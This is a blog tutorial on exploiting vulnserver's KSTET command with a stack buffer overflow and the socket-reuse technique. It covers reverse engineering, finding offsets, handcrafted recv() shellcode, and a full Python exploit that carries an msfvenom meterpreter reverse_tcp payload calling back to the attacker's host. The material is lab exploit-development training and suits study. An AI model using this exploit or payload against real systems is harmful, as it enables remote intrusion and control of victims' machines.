top of page
  • Фото автораShelldon

Stack Buffer Overflow | Socket Reuse

Обновлено: 14 янв. 2023 г.

In this post we will talk about "Socket Reuse" technique and KSTET command in vulnserver So, what is it?


Socket Reuse - it's special techique in buffer overflow, that helps us for bypassing small buffer size and firewalls.


# 0.1. Intro

In this post I will hack the vulnserver.exe

You can download vulnserver.exe from here: https://github.com/stephenbradshaw/vulnserver


Instruments:

  1. IDA PRO 7.7 version

  2. Any debugger (in this post I am using x32dbg)

  3. Kali Linux

  4. Windows 7-10 in Virtualbox or Vmware

  5. python3

  6. sublime text or any text editing


To do it we will use recv() function from winsock.h. https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv


There is a syntax.

  1. First parameter is s. It is our socket descriptor.

  2. Second parameter is. It is a pointer to the buffer to receive the incoming data.

  3. Third parameter is len. The length, in bytes, of the buffer pointed to by the buf parameter.

  4. Fourth parameter is flag. It is a set of flags that influences the behavior of this function. See remarks below. See the Remarks section for details on the possible value for this parameter.

After that We can start our exploitation.


# 1. Reverse engineering and finding buffer overflow vulnerability.

So, I won't use "fuzzing" method to finding offset of buffer. In this I will reverse the binary with IDA PRO and try to find buffer size.


I have opened a sublime text and terminal.

I will start a IDA PRO with "wine", that's why IDA PRO in my Kali is .exe file.


Command:

wine "way to folder"/ida.exe

This is 32 bit exe file. That's the reason why I am using ida.exe than ida64.exe

After opening this window I will click "New" button and load the vulnserver.exe binary.


After opening main window we can decompile binary and find the vulnerable place.

Press F5 (on laptops Fn + F5) to see the decompiler.


So now I am decompiling a main function.

As you can see there is starts a main function.


Now the binary checks arguments that binary recive. If arguments more than 2, we will see, that need IP address and port.

If arguments equal 2, then we continue. And in LABEL_2 says that port = 9999. That's good info.


In 112 line we can see, that after receiving data we will start the CreateThread function and ConnectionHandler. Double click to ConnectionHandler and see what happens.


In 28 line we have a "len" that equals 4096. I hope it is a size of buffer, but we see it later.

After successfully connection we will see, that send() function take a "Welcome to Vulnerable Server!" message. Then we must use one of these commands (I paste it down).

Format: command (some data).


Like that:


There are a list of command, which we can use. In this post we will use KSTET and let's find it in binary.


memst() function give us 0x1000 (4096 bytes) buffer space. After that there is Function2() function. Let's decompile it.



Now Destination var will has 72 bytes buffer space. This function will return a result of copying Source data (that we will type with this format: KSTET {data}) to Destination. If we type more than 72 bytes we will get a buffer overflow.

Nice we just find a buffer overflow vulnerabity.


# 2. Exploitation.

To finding offset and how many bytes need to overwrite EIP I am useing 'cyclic' pattern.

If you don't have a cyclic, use this command: pip install cyclic.


There is I just create 2000 len pattern.


In sublime text open "exploit.py" file.


You can use this sceleton for exploit:


import socket
import time
import sys
import struct


cyclic = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaat'


try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.1.6', 9999))
	s.recv(1024)
	print('[*] Sending cyclic')
	s.send(b'KSTET /.:/' + cyclic + b'\r\n')
	s.close()
	time.sleep(1)

except:
	print('[!] ERROR')
	sys.exit(0)

Firstly open x32dbg and load the vulnserver.exe binary.


w00tw00t. Now press F9 (if in laptop Fn + F9) two or three times to start.


So First stage is ready. Let's run our exploit.py. Use this command: python3 exploit.py



After running loop to EIP register. EIP has "61726161" value.



Dump shows us that our cyclic successfully sent and now we control EIP.

Let's find exact offset. I just copied a value of EIP and paste in


The result:


We need 66 bytes to fill buffer and next 4 bytes to EIP.

Now exploit look like:


Let's run and check.


EIP equals 42424242 that means there are B-s. Our exploit in right way!


Next step is finding "jmp esp" pointer address and use it in EIP.

jmp esp | 0x625011AF

I use this address


It stopped in break point. Let's continue. Press F7.



# 3. Jump back

Yeah we jumped to ESP and there are our padding.

The problem is small buffer space. We cannot paste a shellcode there.

Next step is jump back to get more buffer space.


I have just calculate how many need to jump back to "A"-s.

Let's use metasm_shell to make jump back instruction.


As you can see the instruction is ready for us.

Now exploit looks like:


I added "jmp_back" after EIP to payload.

Run it.


Press F7 to step in and see jmp is right or not.


Excellent! Jump is correct.


# 4. Finding bad chars

Next step is finding bad chars. I am using badchars python script:


But there is a problem. Offset size equals 66 bytes and badchars size equals 255 bytes. We cannot use all badchars, so we can just divide by 63 bytes and do 4 sets.



Let's modify exploit:



So in dump don't show a really bad chars.


Second one too.


Third one too.

Finally Fourth one:


There are no bad chars too

So only bad char is \x00


# 5. Finding recv()

Next step is findig recv() function and collection necessary elements (socket descriptor, char *buffer, len, flags)


In this address I found call <JMP.&recv>. Let's paste a break point to call and see which params recv has.


As you can see there are some elements.

1. First one is "SOCKET s" or socket descriptor = 0x7C

2. Second one is "char *buffer) pointer to buffer that will receive a incoming data. = address

3. Third one is "len" size of buffer = 0x404 is enough

4. Fourth one is "flags" = 0


# 6. Socket descriptor

Next step is building Socket descriptor element.

Let's create a "reuse" var that will contain a necessary intructions.


Let's run one more time and see where located 0x7C in stack.


As you can see I find 0x7C in 0x0254FB68 address. Now we should calculate to know how many bytes we should add to stack pointer to get 0x7C.


So the first one is the address of stack, that has 0x7C and second one is ESP value.

We need 0x188 bytes to add stack pointer and get 0x7C.

How can we do it?

Easy! with assembly instructions.

We will gathering each element and push it to stack. In the end we just call recv() and get another socket that will recv a shellcode and execute it.


!! You can step by step do like me !!


# 6.1. Socket descriptor

  1. Do "push esp" to push the stack pointer to stack.

  2. Do "pop eax" to pop to eax stack pointer.

  3. Do "add ax, 0x188" to add ax 0x188 bytes

  4. Do "mov esi, [eax]" to moving esi 0x7C.





Let's modify our exploit. Firstly we need to control len of "A"s by minus len of reuse.

Then add reuse first to payload, because after controling EIP we jump back to the top of the payload, that located reuse.



#7. Escape ESP from EIP

Now the problem is ESP. If we will call recv() and it will receive a data we get a buffer overflow again. To escape this from problem we will escape ESP from EIP.

Let's calculate not many bytes between ESP and EIP.


format: hex(0xESP - 0xEIP) = 0x46 or 70 bytes. Now we can subtract esp for 0x64 (100) bytes for example.

  1. Do "sub esp, 0x64"




# 8. Flags

Next is flags. For flags we can just put 0, but in stack we cannot paste 0. It is bad byte.

  1. Do "xor ebx, ebx" to get 0. Xoring ebx with ebx give us 0.

  2. Do "push ebx" to push ebx (ebx has 0 value after xoring) to the stack.





# 9. Len

So there we just add bx (16 bit register of ebx) 0x404 bytes like size.

  1. Do "add bx, 0x404" to add bx 0x404 value

  2. Do "push ebx" to push ebx to stack


# 10. *buffer

Next is pointer to stack that will recieve a data.

To do it we should calculate how many bytes we need to get address of last 4 41s.


Now we started executing reuse instructions.


ESP escaped from EIP and now we can start calculating.

I copy ESP address and last 4 41s address.


hex(0xLast41s - 0xESP) = 0x60

  1. Do "push esp" to push esp to the stack.

  2. Do "pop ebx" to pop into ebx.

  3. Do "add bx, 0x60" to add 0x60 bytes to bx

  4. Do "push ebx" to push a pointer of last 4 41s.



# 11. Adding socket descriptor

To add stack socket descriptor, that located in ESI we should just push ESI




# 12. Calling recv()

Everthing ready now we should just call recv()

Let's find recv() function address



On 0x0040252C address I found JMP.recv. So this is we need. Just copy address.

  1. Do "mov eax, 0x40252C90" to move this address to eax. First 2 Null bytes I remove and add 90 in the end because we don't need null byte. Null byte is evil XD.

  2. Do "shr eax, 0x8" to shift right 0x8 bytes

  3. Do "call eax" to call eax and recv() function



Yeah we just finished a reuse.


# 13. Shellcode

Let's create a shellcode with msfvenom.

Command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=1234 -f python -v shellcode -b -a x86 "\x00"



Let's modify exploit.

After executing reuse instruction we can send a shellcode and execute it.

Now it looks like:



# 14. Getting shell

Let's run it


Yesss We did it. It is so cool.



Final exploit:


import socket
import time
import sys
import struct



# Socket Reuse

## Socket descriptor
reuse = b''
reuse += b'\x54'                   # push esp
reuse += b'\x58'                   # pop eax
reuse += b'\x66\x05\x88\x01'       # add ax, 0x188
reuse += b'\x8b\x30'               # mov esi, [eax]

# Escape ESP from EIP
reuse += b'\x83\xec\x64'           # sub esp, 0x64

## Flags
reuse += b'\x31\xdb'               # xor ebx, ebx
reuse += b'\x53'                   # push ebx

## Len
reuse += b'\x66\x81\xc3\x04\x04'   # add bx, 0x404
reuse += b'\x53'                   # push ebx

## *buffer
reuse += b'\x54'                   # push esp
reuse += b'\x5b'                   # pop ebx
reuse += b'\x66\x83\xc3\x60'       # add bx, 0x60
reuse += b'\x53'                   # push ebx

## Adding socket descriptor
reuse += b'\x56'                   # push esi

## Calling recv
reuse += b'\xb8\x90\x2c\x25\x40'   # mov eax, 0x40252C90
reuse += b'\xc1\xe8\x08'           # shr eax, 0x8
reuse += b'\xff\xd0'               # call eax



# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=1234 -f python -v shellcode -b -a x86 "\x00"

shellcode =  b""
shellcode += b"\xbb\xd9\xbd\xd3\x93\xda\xda\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x59\x31\x5a\x14\x03\x5a\x14"
shellcode += b"\x83\xea\xfc\x3b\x48\x2f\x7b\x34\xb3\xd0\x7c"
shellcode += b"\x2a\x3d\x35\x4d\x78\x59\x3d\xfc\x4c\x29\x13"
shellcode += b"\x0d\x27\x7f\x80\x86\x45\xa8\x99\x67\xa6\x1f"
shellcode += b"\x93\xb1\x89\x9f\x88\x82\x88\x63\xd3\xd6\x6a"
shellcode += b"\x5d\x1c\x2b\x6b\x9a\xea\x41\x84\x76\x66\xfb"
shellcode += b"\x4a\xfc\x3a\xc0\x6b\xd2\x30\x78\x13\x85\xc3"
shellcode += b"\xb9\x97\x65\xcd\xe9\xdc\x3e\xd5\x82\xba\x9e"
shellcode += b"\xb5\x95\xe9\x5a\xfc\xe2\x31\x2c\x74\x3e\xc2"
shellcode += b"\x9f\x75\x3e\x02\xee\x49\x80\x65\x1c\xe6\x02"
shellcode += b"\xbe\x27\x16\x71\xb4\x5b\xab\x82\x0f\x21\x77"
shellcode += b"\x06\x8f\x81\xfc\xb0\x6b\x33\xd0\x27\xf8\x3f"
shellcode += b"\x9d\x2c\xa6\x23\x20\xe0\xdd\x58\xa9\x07\x31"
shellcode += b"\xe9\xe9\x23\x95\xb1\xaa\x4a\x8c\x1f\x1c\x72"
shellcode += b"\xce\xf8\xc1\xd6\x85\xeb\x14\x66\x66\xf4\x18"
shellcode += b"\x3a\xf0\x38\xd5\xc5\x00\x57\x6e\xb5\x32\xf8"
shellcode += b"\xc4\x51\x7e\x71\xc3\xa6\xf7\x95\xf4\x79\xbf"
shellcode += b"\xf6\x0a\x7a\xbf\xdf\xc8\x2e\xef\x77\xf8\x4e"
shellcode += b"\x64\x88\x05\x9b\x10\x82\x91\xe4\x4c\x93\x64"
shellcode += b"\x8d\x8e\x94\x62\x9f\x07\x72\x3a\x4f\x47\x2b"
shellcode += b"\xfb\x3f\x27\x9b\x93\x55\xa8\xc4\x84\x55\x63"
shellcode += b"\x6d\x2e\xba\xdd\xc5\xc7\x23\x44\x9d\x76\xab"
shellcode += b"\x53\xdb\xb9\x27\x51\x1b\x77\xc0\x10\x0f\x60"
shellcode += b"\xb7\xda\xcf\x71\x52\xda\xa5\x75\xf4\x8d\x51"
shellcode += b"\x74\x21\xf9\xfd\x87\x04\x7a\xf9\x78\xd9\x4a"
shellcode += b"\x71\x4e\x4f\xf2\xed\xaf\x9f\xf2\xed\xf9\xf5"
shellcode += b"\xf2\x85\x5d\xae\xa1\xb0\xa1\x7b\xd6\x68\x34"
shellcode += b"\x84\x8e\xdd\x9f\xec\x2c\x3b\xd7\xb2\xcf\x6e"
shellcode += b"\x6b\xb4\x2f\xec\x44\x1d\x47\x0e\xd5\x9d\x97"
shellcode += b"\x64\xd5\xcd\xff\x73\xfa\xe2\xcf\x7c\xd1\xaa"
shellcode += b"\x47\xf6\xb4\x19\xf6\x07\x9d\xfc\xa6\x08\x12"
shellcode += b"\x25\x59\x72\x5b\xda\x9a\x83\x75\xbf\x9b\x83"
shellcode += b"\x79\xc1\xa0\x55\x40\xb7\xe7\x65\xf7\xc8\x52"
shellcode += b"\xcb\x5e\x43\x9c\x5f\xa0\x46"




buf = b'A' * (66 - len(reuse))
EIP = struct.pack("<L", 0x625011AF)  # JMP ESP
jmp_back = b'\xeb\xb8'   # JMP back 

padding = b'Z' * 1000


payload = reuse + buf + EIP + jmp_back + padding

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(('192.168.1.6', 9999))
	s.recv(1024)
	print('[*] Sending payload')
	s.send(b'KSTET /.:/' + payload + b'\r\n')
	print('[*] Payload sent successfully\n\n')
	time.sleep(3)

	print('[*] Sending shellcode')
	print('[*] Wait 5 seconds')
	time.sleep(5)
	s.send(shellcode)
	print('[*] Shellcode sent successfully')

	s.close()
	time.sleep(1)

except:
	print('[!] ERROR')
	sys.exit(0)                                                                                                                                                                                                 


230 просмотров0 комментариев

Недавние посты

Смотреть все

Comments


bottom of page